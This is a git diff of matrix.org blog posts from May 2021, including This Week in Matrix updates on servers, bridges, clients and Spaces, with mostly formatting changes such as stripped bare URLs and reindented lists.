Server Stats Discoverer (traveler bot) is now publicly available at > > It for now is only a graph of room relations but in the future is supposed to be extended for a server based graph as well as a Table to search your room within. > > Be aware that the page is best viewed and used on desktop. Clicking a Room Node will open a new tab with the matrix.to link. If this fails this might be because of no canonical alias being available. > -> For the developers the data can be taken from https://serverstats.nordgedanken.dev/relations The format currently is only available in the d3js format but in the future that API also will be extended for different usecases. +> For the developers the data can be taken from The format currently is only available in the d3js format but in the future that API also will be extended for different usecases. > -> For any feedback like accessibility issues or other issues please reach out to me either via DM or in #server_stats:nordgedanken.dev +> For any feedback like accessibility issues or other issues please reach out to me either via DM or in #server_stats:nordgedanken.dev ![2021-05-07-jh7X9-image.png](/blog/img/2021-05-07-jh7X9-image.png) @@ -38,7 +38,7 @@ image = "https://matrix.org/blog/img/2021-05-07-jh7X9-image.png" [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) said: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -51,7 +51,7 @@ image = "https://matrix.org/blog/img/2021-05-07-jh7X9-image.png" > > **MSCs with proposed Final Comment Period:** > -> * _No MSCs entered proposed FCP state this week._ +> * *No MSCs entered proposed FCP state this week.* > > **MSCs in Final Comment Period:** > @@ -82,6 +82,7 @@ image = "https://matrix.org/blog/img/2021-05-07-jh7X9-image.png" > * [#3166 Spec device_id on whoami](https://github.com/matrix-org/matrix-doc/pull/3166) > > * [#3163 Describe social-sign-on (multiple SSO providers)](https://github.com/matrix-org/matrix-doc/pull/3163) +> > #### Spec Updates > > A reminder that [#sct-office:matrix.org](https://matrix.to/#/#sct-office:matrix.org) is available to communicate directly with the Spec Core Team. A clarification from the last edition of TWIM is that this room is intended to be a low-traffic room solely for asking about the status of a/your MSC, rather than the Spec process or anything else. There is however [#matrix-spec-process:matrix.org](https://matrix.to/#/#matrix-spec-process:matrix.org) for discussion of the Spec process, and [#matrix-spec:matrix.org](https://matrix.to/#/#matrix-spec:matrix.org) for discussion of the Matrix spec and MSCs in general. @@ -90,8 +91,6 @@ image = "https://matrix.org/blog/img/2021-05-07-jh7X9-image.png" > > Additionally we've been giving some feedback on [MSC2946](https://github.com/matrix-org/matrix-doc/pull/2946) (Spaces Summary) which is another part of the Spaces puzzle (and is still a blocker for the release of the feature), as well as [MSC3079](https://github.com/matrix-org/matrix-doc/pull/3079) (Low Bandwidth CS API) which allows Matrix to operate on resource constrained devices and networks. Yours truly has also been making some PRs ([one](https://github.com/matrix-org/matrix-doc/pull/3180), [two](https://github.com/matrix-org/matrix-doc/pull/3179)) to help clarify the Spec process. - - ![2021-05-07-tEcUz-stacked_area_chart.png](/blog/img/2021-05-07-tEcUz-stacked_area_chart.png) ## Dept of P2P 👥 @@ -100,7 +99,7 @@ image = "https://matrix.org/blog/img/2021-05-07-jh7X9-image.png" [Neil Alexander](https://matrix.to/#/@neilalexander:matrix.org) reported: -> Yesterday we announced the source code release of Pinecone, our new peer-to-peer overlay network, which we are developing under the P2P Matrix banner. +> Yesterday we announced the source code release of Pinecone, our new peer-to-peer overlay network, which we are developing under the P2P Matrix banner. > > If you missed it, we wrote a [blog post](https://matrix.org/blog/2021/05/06/introducing-the-pinecone-overlay-network) that explains some of the juicy details. The source code is available on [GitHub](https://github.com/matrix-org/pinecone). > @@ -124,12 +123,11 @@ Synapse is a popular homeserver written in Python. ![2021-05-07-8eyfi-Screenshotfrom2021-05-0512-10-50.png](/blog/img/2021-05-07-8eyfi-Screenshotfrom2021-05-0512-10-50.png) - > These changes are still a work in progress, but we hope to get them merged into Synapse in time for the 1.35 release on June 1st. Additionally, [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko.dev) has a request: -> I wrote a patch for synapse, that reduces the size of almost empty incremental syncs by 50% (30% if you include http headers). If you are a client developer, you may want to test your client against a synapse with that patch applied, since it broke quite a few clients, that relied on synapse sending empty fields. While synapse sends empty fields, other server implementations, like conduit, don't, so fixing any issues here will help with portability across different server implementations too. With a bit of hope this patch can actually be applied in a few weeks to the official synapse, but it was backed out from the next RC because of the breakage. So if you can, please test your client, which you are developing, against the following PR and fix any issues you experience from it: https://github.com/matrix-org/synapse/pull/9919 +> I wrote a patch for synapse, that reduces the size of almost empty incremental syncs by 50% (30% if you include http headers). If you are a client developer, you may want to test your client against a synapse with that patch applied, since it broke quite a few clients, that relied on synapse sending empty fields. While synapse sends empty fields, other server implementations, like conduit, don't, so fixing any issues here will help with portability across different server implementations too. With a bit of hope this patch can actually be applied in a few weeks to the official synapse, but it was backed out from the next RC because of the breakage. So if you can, please test your client, which you are developing, against the following PR and fix any issues you experience from it: > > Thank you! @@ -147,7 +145,7 @@ Additionally, [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko [Tulir](https://matrix.to/#/@tulir:maunium.net) announced: -> The initial alpha version of [Brooklyn](https://gitlab.com/beeper/brooklyn) is now public, which means you can now (try to) use [mautrix-imessage](https://github.com/tulir/mautrix-imessage) on a jailbroken iOS device for iMessage bridging. Setup instructions are on docs.mau.fi: https://docs.mau.fi/bridges/go/imessage/ios/setup.html +> The initial alpha version of [Brooklyn](https://gitlab.com/beeper/brooklyn) is now public, which means you can now (try to) use [mautrix-imessage](https://github.com/tulir/mautrix-imessage) on a jailbroken iOS device for iMessage bridging. Setup instructions are on docs.mau.fi: > > Brooklyn was developed by ethanrdoesmc. It's an app/tweak that handles communicating with iMessage and runs mautrix-imessage as a subprocess for the Matrix side. The initial alpha supports basic text and media message bridging. Sending and receiving tapbacks, replies, read receipts and typing notifications will also be supported in the future. > @@ -159,13 +157,13 @@ Additionally, [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko > [Heisenbridge](https://github.com/hifi/heisenbridge/) the bouncer style Matrix IRC bridge has seen numerous updates in the past week: > -> * Identd implementation to get verified usernames on IRC +> * Identd implementation to get verified usernames on IRC > -> * TLS support for IRC connections -> * IRC excess flood prevention with a buffer +> * TLS support for IRC connections +> * IRC excess flood prevention with a buffer > -> * Proper long message splitting from Matrix to IRC -> * Retry support for Matrix requests to work around homeserver downtime/restarts +> * Proper long message splitting from Matrix to IRC +> * Retry support for Matrix requests to work around homeserver downtime/restarts > > Minor fixes to ghosting issues and some other stuff. This will be the last big update for a while as it has mostly stabilized enough for daily use. > @@ -173,8 +171,6 @@ Additionally, [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko > > Thanks! - - ### matrix-pstn-bridge [KB1RD](https://matrix.to/#/@kb1rd:kb1rd.net) reported: @@ -187,8 +183,6 @@ Additionally, [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko > > Just a reminder, the GH repo is [here](https://github.com/KB1RD/matrix-pstn-bridge) and the Matrix room is [#matrix-pstn-bridge:kb1rd.net](https://matrix.to/#/#matrix-pstn-bridge:kb1rd.net) . There's also a general VoIP bridging room at [#matrix-voip-bridging:kb1rd.net](https://matrix.to/#/#matrix-voip-bridging:kb1rd.net). - - ### matrix-appservice-irc has a new release candidate [Christian](https://matrix.to/#/@christianp:vector.modular.im) reported: @@ -202,7 +196,7 @@ Additionally, [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko > > Please test it and flag any issues you have upgrading: > -> https://github.com/matrix-org/matrix-appservice-irc/releases/tag/v0.26.0-rc1 +> ## Dept of Clients 📱 @@ -264,7 +258,7 @@ Nice sticker > As a nice bonus, we do [lazy loading](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/730), and [rooms are now added to the sidebar in batch](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/737) on startup to ensure good performances. The sidebar also got some refinements from Kévin ([!732](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/732) and [!736](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/736)). > -> Finally Veli also helped us get [the docs for fractal-next published](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/722), lowering the barrier to entry for other new contributors. They are available at https://gnome.pages.gitlab.gnome.org/fractal/fractal/. +> Finally Veli also helped us get [the docs for fractal-next published](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/722), lowering the barrier to entry for other new contributors. They are available at . > > For further details, Julian published [a technical overview of the internals of the new codebase](https://blogs.gnome.org/jsparber/2021/05/07/the-internals-of-fractal-next/). @@ -272,33 +266,32 @@ Nice sticker Updates provided by the teams + **Delight** +* We’ve been shepherding [MSC1772](https://github.com/matrix-org/matrix-doc/pull/1772) into the spec which has now exited final comment period and merged! +* Alongside, we’ve also been iterating on the Spaces implementations all round in preparation for wider testing soon, which has included + * Iterating on filtering on Web to filter all Spaces + * Iterating on logic for showing notification badges to avoid single DMs spawning multiple badges + * Iterating on ‘Home’ to instead behave more like ‘All’ + * Iterating on implementations across the web, iOS, Android & Synapse to use stable prefixes + * & lots of other small tweaks - -* We’ve been shepherding [MSC1772](https://github.com/matrix-org/matrix-doc/pull/1772) into the spec which has now exited final comment period and merged! -* Alongside, we’ve also been iterating on the Spaces implementations all round in preparation for wider testing soon, which has included - * Iterating on filtering on Web to filter all Spaces - * Iterating on logic for showing notification badges to avoid single DMs spawning multiple badges - * Iterating on ‘Home’ to instead behave more like ‘All’ - * Iterating on implementations across the web, iOS, Android & Synapse to use stable prefixes - * & lots of other small tweaks - + **Web** +* Element Web 1.7.27-rc.1 on staging + * Added localisation support to the desktop layer (for menu items etc.) + * Fixed encrypted search indexing on Windows + * Hardware media keys are now ignored, so they'll go to other apps as intended +* On develop + * Calling architecture reworked to support multiple streams, please report any issues +* 1.7.27 release planned for Monday - -* Element Web 1.7.27-rc.1 on staging - * Added localisation support to the desktop layer (for menu items etc.) - * Fixed encrypted search indexing on Windows - * Hardware media keys are now ignored, so they'll go to other apps as intended -* On develop - * Calling architecture reworked to support multiple streams, please report any issues -* 1.7.27 release planned for Monday - + **iOS** -* [1.3.6](https://github.com/vector-im/element-ios/releases) is in review for the App Store. We have polished and fixed several issues on 1:1 and group calls. The release contains fixes for several bugs and crashes. +* [1.3.6](https://github.com/vector-im/element-ios/releases) is in review for the App Store. We have polished and fixed several issues on 1:1 and group calls. The release contains fixes for several bugs and crashes. Very excited about the Spaces progress! Looks like everything that I found in recent testing is fixed! @@ -350,6 +343,7 @@ Very excited about the Spaces progress! Looks like everything that I found in re Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -366,6 +360,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|dendrite.foxomy.com|1320| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/05/2021-05-14-this-week-in-matrix-2021-05-14.md b/content/blog/2021/05/2021-05-14-this-week-in-matrix-2021-05-14.md index b8ae4f4f5..e764e7b87 100644 --- a/content/blog/2021/05/2021-05-14-this-week-in-matrix-2021-05-14.md +++ b/content/blog/2021/05/2021-05-14-this-week-in-matrix-2021-05-14.md @@ -28,10 +28,10 @@ Plus! Bonus content, demos! Half-Shot on the MS Teams bridge work, and Hubert pr [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) told us: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > -> #### MSC Status +> ### MSC Status > > **New MSCs:** > @@ -52,20 +52,18 @@ Plus! Bonus content, demos! Half-Shot on the MS Teams bridge work, and Hubert pr > > * [MSC3122: Deprecate starting verifications without requesting first](https://github.com/matrix-org/matrix-doc/pull/3122) > -> #### Merged Spec PRs +> ### Merged Spec PRs > > Here are all the actual MSC-related changes made to the raw Matrix spec this week! > > * [Clarify that implementations can use stable prefixes once an MSC proposal has merged](https://github.com/matrix-org/matrix-doc/pull/3179) > -> #### Spec Updates +> ### Spec Updates > > There's been activity from the Spec Core Team on a number of different MSCs, such as [MSC3189](https://github.com/matrix-org/matrix-doc/pull/3189) (per-room/space profile data). Additionally a [spec PR](https://github.com/matrix-org/matrix-doc/pull/3168) for Matrix URI schemes has been getting feedback and is moving forward at a quick pace! There was also some feedback from the team on [MSC2448](https://github.com/matrix-org/matrix-doc/pull/2448) (blurhashes) which I'll get around to answering shortly 🙂. > > Otherwise I think this week was a bit implementation-heavy for the team (the Spec Core Team is a task in addition to our full-time jobs). Hopefully next week will grant us more of a breather. - - ![2021-05-14-wdmML-stacked_area_chart.png](/blog/img/2021-05-14-wdmML-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -95,16 +93,16 @@ Plus! Bonus content, demos! Half-Shot on the MS Teams bridge work, and Hubert pr [Fair](https://matrix.to/#/@fair:miscworks.net) told us: > [matrix-puppeteer-line](https://src.miscworks.net/fair/matrix-puppeteer-line): A bridge for LINE Messenger based on running LINE's Chrome extension in Puppeteer. -> +> > This week was spent on stability improvements & bug fixes. -> -> _Calling for testers!_ +> +> *Calling for testers!* > The bridge is at a point where it's mostly usable, but it still has quite a few blindspots. If anyone is willing to try it out & report issues, it would be a great help! -> +> > Discussion: [Matrix-LINE Puppeteer bridge](https://matrix.to/#/#matrix-puppeteer-line:miscworks.net) -> Issue page: https://src.miscworks.net/fair/matrix-puppeteer-line/issues +> Issue page: > -> Shout-outs to [@lecris:lecris.me](https://matrix.to/#/@lecris:lecris.me) for being an early tester & having given a lot of useful feedback 🙂 +> Shout-outs to [@lecris:lecris.me](https://matrix.to/#/@lecris:lecris.me) for being an early tester & having given a lot of useful feedback 🙂 ### Gitter @@ -133,44 +131,46 @@ Plus! Bonus content, demos! Half-Shot on the MS Teams bridge work, and Hubert pr ### Hydrogen -A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. https://github.com/vector-im/hydrogen-web/ +A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. [Bruno](https://matrix.to/#/@bwindels:matrix.org) said: > Hydrogen can now leave rooms and forget archived rooms. URLs are now also clickable in the timeline. Get the full details in the [release notes](https://github.com/vector-im/hydrogen-web/releases/tag/v0.1.49)! - - ![2021-05-14-iIgrd-image.png](/blog/img/2021-05-14-iIgrd-image.png) ### Element Clients Updates from the teams + **Web** -* Element Web 1.7.28 is up on staging, targeting Monday for release. - * New spaces Beta (new way of grouping rooms and people) - * Added support for slash commands working in edits -* On develop: - * Voice messages are nearing completion - enable the labs flag and give it a go :) - * Performance improvements to app startup time. Let us know if you run into any issues! +* Element Web 1.7.28 is up on staging, targeting Monday for release. + * New spaces Beta (new way of grouping rooms and people) + * Added support for slash commands working in edits +* On develop: + * Voice messages are nearing completion - enable the labs flag and give it a go :) + * Performance improvements to app startup time. Let us know if you run into any issues! + **iOS** -* [1.3.7](https://github.com/vector-im/element-ios/releases) is available on TestFlight. It should be on the App Store on Monday. Spaces are not yet available on Element-iOS but the app offers minimal support. The release contains a fix for background crashed due to PushKit -* At the platform level, we are still improving stability and performance: - * Decryption operations to be moved outside the main thread - * More robust on initial sync - * etc +* [1.3.7](https://github.com/vector-im/element-ios/releases) is available on TestFlight. It should be on the App Store on Monday. Spaces are not yet available on Element-iOS but the app offers minimal support. The release contains a fix for background crashed due to PushKit +* At the platform level, we are still improving stability and performance: + * Decryption operations to be moved outside the main thread + * More robust on initial sync + * etc + **Android** -* 1.1.7 is in open testing via playstore beta channel, Release candidate for Monday. Contains support for spaces beta, several improvements on attachment (video, compression…), as well as a bunch of bug fixes. All details here [https://github.com/vector-im/element-android/releases/tag/v1.1.7](https://github.com/vector-im/element-android/releases/tag/v1.1.7) +* 1.1.7 is in open testing via playstore beta channel, Release candidate for Monday. Contains support for spaces beta, several improvements on attachment (video, compression…), as well as a bunch of bug fixes. All details here [https://github.com/vector-im/element-android/releases/tag/v1.1.7](https://github.com/vector-im/element-android/releases/tag/v1.1.7) + **Delight** -* “Spaces are coming” (*I had heard something about that - BP*) +* “Spaces are coming” (*I had heard something about that - BP*) ## Dept of SDKs and Frameworks 🧰 @@ -182,23 +182,20 @@ Updates from the teams ## Dept of Services 🚀 -### GoMatrixHosting v0.4.6 released! +### GoMatrixHosting v0.4.6 released [Michael](https://matrix.to/#/@michael:perthchat.org) offered: -> https://github.com/spantaleev/matrix-docker-ansible-deploy/pull/1046/files +> > > Just had a new release, GoMatrixHosting v0.4.6 > -> ``` -> > * Add database purge section. > > * Add markdown copy of User manual. > * Tweak compress state find rooms timeout. > > * Update compile AWX instructions for custom branding and radius fix. -> ``` > > Visit [#general:gomatrixhosting.com](https://matrix.to/#/#general:gomatrixhosting.com) to join in the discussion. @@ -210,7 +207,7 @@ Updates from the teams [farribeiro](https://matrix.to/#/@farribeiro:matrix.org) shared: -> Fedora promoting the matrix https://fedoramagazine.org/access-freenode-using-matrix-clients/ +> Fedora promoting the matrix ## Final Thoughts 💭 @@ -224,6 +221,7 @@ From *Dept of Humour in [#twim:matrix.org] 😅*: Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -240,6 +238,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|trolla.us|878| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/05/2021-05-17-the-matrix-space-beta.md b/content/blog/2021/05/2021-05-17-the-matrix-space-beta.md index ec0466267..20d056d57 100644 --- a/content/blog/2021/05/2021-05-17-the-matrix-space-beta.md +++ b/content/blog/2021/05/2021-05-17-the-matrix-space-beta.md @@ -44,14 +44,14 @@ way of handling groups of rooms and users as... Spaces! Spaces work as follows: - * You can designate specific rooms as 'spaces', which contain other rooms. - * You can have a nested hierarchy of spaces. - * You can rapidly navigate around that hierarchy using the new 'space summary' +* You can designate specific rooms as 'spaces', which contain other rooms. +* You can have a nested hierarchy of spaces. +* You can rapidly navigate around that hierarchy using the new 'space summary' (aka space-nav) API - [MSC2946](https://github.com/matrix-org/matrix-doc/blob/kegan/spaces-summary/proposals/2946-spaces-summary.md). - * Spaces can be shared with other people publicly, or invite-only, or private +* Spaces can be shared with other people publicly, or invite-only, or private for your own curation purposes. - * Rooms can appear in multiple places in the hierarchy. - * You can have 'secret' spaces where you group your own personal rooms and +* Rooms can appear in multiple places in the hierarchy. +* You can have 'secret' spaces where you group your own personal rooms and spaces into an existing hierarchy. Today, we're ridiculously excited to be launching Space support as a beta in @@ -90,7 +90,7 @@ existing rooms of all flavours into an epic multiplayer tree of realtime data. It's like USENET had a baby with the Web! For lots more info from the Element perspective, head over to the [Element -blog](https://element.io/blog/p/4ff44807-fe9a-4363-8521-9eab7efd4365/). +blog](https://element.io/blog/p/4ff44807-fe9a-4363-8521-9eab7efd4365/). Finally, the point of the beta is to gather feedback and fix bugs - so please go wild in Element reporting your first impressions and help us make Spaces as awesome as they deserve to be! diff --git a/content/blog/2021/05/2021-05-19-how-the-uk-s-online-safety-bill-threatens-matrix.md b/content/blog/2021/05/2021-05-19-how-the-uk-s-online-safety-bill-threatens-matrix.md index 2e7fdf383..6dbe42632 100644 --- a/content/blog/2021/05/2021-05-19-how-the-uk-s-online-safety-bill-threatens-matrix.md +++ b/content/blog/2021/05/2021-05-19-how-the-uk-s-online-safety-bill-threatens-matrix.md @@ -119,7 +119,6 @@ CSAE content and ends with authoritarian surveillance infrastructure](https://twitter.com/matthew_d_green/status/1392823038920564736). It is our duty to put a stop to this before it even begins. - Twitter card image credit from Brazil, which feels all too familiar right now. diff --git a/content/blog/2021/05/2021-05-20-google-summer-of-code-2021.md b/content/blog/2021/05/2021-05-20-google-summer-of-code-2021.md index abf469b92..a80c247ff 100644 --- a/content/blog/2021/05/2021-05-20-google-summer-of-code-2021.md +++ b/content/blog/2021/05/2021-05-20-google-summer-of-code-2021.md @@ -16,7 +16,7 @@ image = "https://matrix.org/blog/img/gsoc.png" ### R Midhun Suresh: *Right Sidebar for Hydrogen client* -> R Midhun Suresh from the Mar Baselios College of Engineering & Technology in Trivandrum, India will be working on Hydrogen this summer, mentored by Bruno Windels. He will be working on adding a right panel to the room view, including a member list and room information. He will be blogging at https://midhunsureshr.github.io throughout the project. +> R Midhun Suresh from the Mar Baselios College of Engineering & Technology in Trivandrum, India will be working on Hydrogen this summer, mentored by Bruno Windels. He will be working on adding a right panel to the room view, including a member list and room information. He will be blogging at throughout the project. ### Devin Ragotzy: *Ruma's Automated Checks* @@ -49,7 +49,7 @@ kitsune added: > Hi there, I'm Callum, a Londoner who'll be starting a physics degree in September. For GSoC I'll be working on adding Token Authenticated Registration to Matrix. This will allow homeserver admins to restrict who can sign-up by requiring a token to be submitted during registration. I run a small homeserver for friends and family, but don't have the resources to make registration public, so I have wanted this feature integrated into Matrix servers and clients for quite a while! I'll be working with Nico, anoa, and red_sky to write an MSC, implement the server side in Synapse, and the client side in Nheko. Thanks to the mentors and Matrix.org for the opportunity to work on this! -You can follow along with this project's progress throughout the program at https://calcuode.com/matrix-gsoc/. +You can follow along with this project's progress throughout the program at . Nico, mentor added: diff --git a/content/blog/2021/05/2021-05-21-this-week-in-matrix-2021-05-21.md b/content/blog/2021/05/2021-05-21-this-week-in-matrix-2021-05-21.md index 7f930f125..8c070e639 100644 --- a/content/blog/2021/05/2021-05-21-this-week-in-matrix-2021-05-21.md +++ b/content/blog/2021/05/2021-05-21-this-week-in-matrix-2021-05-21.md @@ -20,7 +20,7 @@ image = "https://matrix.org/blog/img/2021-05-21-3uNd3-stacked_area_chart.png" [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) reported: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -49,6 +49,7 @@ image = "https://matrix.org/blog/img/2021-05-21-3uNd3-stacked_area_chart.png" > * [Deprecate verifications that don't begin with a request](https://github.com/matrix-org/matrix-doc/pull/3199) > > * [Change space's valid order range to 0x7E](https://github.com/matrix-org/matrix-doc/pull/3195) +> > #### Spec Updates > > Travis rolled out [MSC3202](https://github.com/matrix-org/matrix-doc/pull/3202) to aid in the quest for end-to-bridge encryption without having to rely on `/sync`. Otherwise the Spec Core Team has been reviewing MSCs and focusing on the last remaining spec PRs needed before cutting a new spec release. Watch this space! @@ -75,7 +76,7 @@ Synapse is a popular homeserver written in Python. ### Conduit -Conduit is a Matrix homeserver written in Rust https://conduit.rs +Conduit is a Matrix homeserver written in Rust [timokoesters](https://matrix.to/#/@timokoesters:fachschaften.org) said: @@ -106,7 +107,7 @@ Conduit is a Matrix homeserver written in Rust https://conduit.rs [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) offered: -> Howdy folks! I'm sure many of you read the news about the new libera.chat IRC network starting up, and many of you also reached out (via pretty much every channel available) to ask about a potential bridge. libera.chat are doing a remarkably good job of getting spun up but are hyper busy with all the inbound users and need a bit more time, so in the meantime I would ask that everyone subscribe to https://github.com/matrix-org/matrix-appservice-irc/issues/1324 to listen for changes as they happen. +> Howdy folks! I'm sure many of you read the news about the new libera.chat IRC network starting up, and many of you also reached out (via pretty much every channel available) to ask about a potential bridge. libera.chat are doing a remarkably good job of getting spun up but are hyper busy with all the inbound users and need a bit more time, so in the meantime I would ask that everyone subscribe to to listen for changes as they happen. > > The matrix.org bridge team are on the case! Expect news in the near future :) @@ -116,45 +117,41 @@ Conduit is a Matrix homeserver written in Rust https://conduit.rs Submitted by the teams + **Delight** +* Spaces are now live! 🚀 Test them on Element Web, Desktop & Android (iOS is coming soon!) +* In short, Spaces are a new way to group rooms and people together, and are slated to replace legacy groups/communities +* We’d love your feedback! Either submitted in app or in [#spaces-feedback:matrix.org](https://matrix.to/#/#spaces-feedback:matrix.org) +* [Read the full blog post](https://element.io/blog/spaces-the-next-frontier/) - -* Spaces are now live! 🚀 Test them on Element Web, Desktop & Android (iOS is coming soon!) -* In short, Spaces are a new way to group rooms and people together, and are slated to replace legacy groups/communities -* We’d love your feedback! Either submitted in app or in [#spaces-feedback:matrix.org](https://matrix.to/#/#spaces-feedback:matrix.org) -* [Read the full blog post](https://element.io/blog/spaces-the-next-frontier/) - + **Web** +* 1.7.28 released + * New spaces Beta (new way of grouping rooms and people) + * Added support for slash commands working in edits +* 1.7.29-rc.1 on staging + * Improved startup performance by focusing decryption on recent rooms + * Fixed reaction duplication +* Continuing to pursue application performance generally +* Improving day to day developer experience with more TypeScript conversion - -* 1.7.28 released - * New spaces Beta (new way of grouping rooms and people) - * Added support for slash commands working in edits -* 1.7.29-rc.1 on staging - * Improved startup performance by focusing decryption on recent rooms - * Fixed reaction duplication -* Continuing to pursue application performance generally -* Improving day to day developer experience with more TypeScript conversion - + **iOS** +* [1.3.9](https://github.com/vector-im/element-ios/releases/tag/v1.3.9) has been published on the app store +* Some performance improvements have been merged on develop: + * Reduce the number of decryptions. A decryption takes about 5ms on iPhone X. On an account with 500 rooms this allows us to skip thousands of decryptions on an initial sync + * Those decryptions do not happen anymore on the main thread - -* [1.3.9](https://github.com/vector-im/element-ios/releases/tag/v1.3.9) has been published on the app store -* Some performance improvements have been merged on develop: - * Reduce the number of decryptions. A decryption takes about 5ms on iPhone X. On an account with 500 rooms this allows us to skip thousands of decryptions on an initial sync - * Those decryptions do not happen anymore on the main thread - + **Android** - - -* Lots of dependency upgrade following the release with Space (1.1.7). -* Next release candidate, 1.1.8 will also contain improvements on Spaces. -* We have set up towncrier flow to better handle changelog generation. -* Also Element Android project is now using GitHub actions, but it cannot run the integration tests for the moment. +* Lots of dependency upgrade following the release with Space (1.1.7). +* Next release candidate, 1.1.8 will also contain improvements on Spaces. +* We have set up towncrier flow to better handle changelog generation. +* Also Element Android project is now using GitHub actions, but it cannot run the integration tests for the moment. ### Fractal @@ -174,13 +171,11 @@ Submitted by the teams > > Last but not least, new contributor Raatty implemented [room name and topic display in the header bar](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/735). - - ![2021-05-21-zHc3a-image.png](/blog/img/2021-05-21-zHc3a-image.png) ### Hydrogen -A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. https://github.com/vector-im/hydrogen-web/ +A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. [Bruno](https://matrix.to/#/@bwindels:matrix.org) announced: @@ -192,7 +187,7 @@ A minimal Matrix chat client, focused on performance, offline functionality, and Check out this flattering portrait of Nheko on the Brodie Robertson "Linux Tips & Tricks" channel. -https://odysee.com/@BrodieRobertson:5/nheko-reborn-lightweight-native-matrix:8 + ## Dept of SDKs and Frameworks 🧰 @@ -249,45 +244,28 @@ https://odysee.com/@BrodieRobertson:5/nheko-reborn-lightweight-native-matrix:8 > * [@timokoesters] added [(unstable) `master_keys` and `self_signing_keys` support to the federation-api `get_keys` response](https://github.com/ruma/ruma/pull/586) > > -> [@iinuwa]: https://github.com/iinuwa +> [@iinuwa](https://github.com/iinuwa) > -> [@DevinR528]: https://github.com/DevinR528 -> [@gnieto]: https://github.com/gnieto +> [@DevinR528](https://github.com/DevinR528) +> [@gnieto](https://github.com/gnieto) > -> [@elegaanz]: https://github.com/elegaanz -> [@poljar]: https://github.com/poljar +> [@elegaanz](https://github.com/elegaanz) +> [@poljar](https://github.com/poljar) > -> [@auscompgeek]: https://github.com/auscompgeek -> [@lanker]: https://github.com/lanker +> [@unseddd](https://github.com/unseddd) +> [@PunitLodha](https://github.com/PunitLodha) > -> [@V02460]: https://github.com/V02460 -> [@iinuwa]: https://github.com/iinuwa +> [@timokoesters](https://github.com/timokoesters) +> [@zecakeh](https://github.com/zecakeh) > -> [@DevinR528]: https://github.com/DevinR528 -> [@tilosp]: https://github.com/tilosp +> [@Frinksy](https://github.com/Frinksy) > -> [@NerdyPepper]: https://github.com/NerdyPepper -> [@jamtwister]: https://github.com/jamtwister +> [@abhikjain360](https://github.com/abhikjain360) > -> [@florianjacob]: https://github.com/florianjacob -> [@jsparber]: https://github.com/jsparber +> [@jplatte](https://github.com/jplatte) +> [@ShadowJonathan](https://github.com/ShadowJonathan) > -> [@unseddd]: https://github.com/unseddd -> [@PunitLodha]: https://github.com/PunitLodha -> -> [@timokoesters]: https://github.com/timokoesters -> [@zecakeh]: https://github.com/zecakeh -> -> [@Frinksy]: https://github.com/Frinksy -> [@louisdewar]: https://github.com/louisdewar -> -> [@abhikjain360]: https://github.com/abhikjain360 -> [@johannescpk]: https://github.com/johannescpk -> -> [@jplatte]: https://github.com/jplatte -> [@ShadowJonathan]: https://github.com/ShadowJonathan -> -> [@132ikl]: 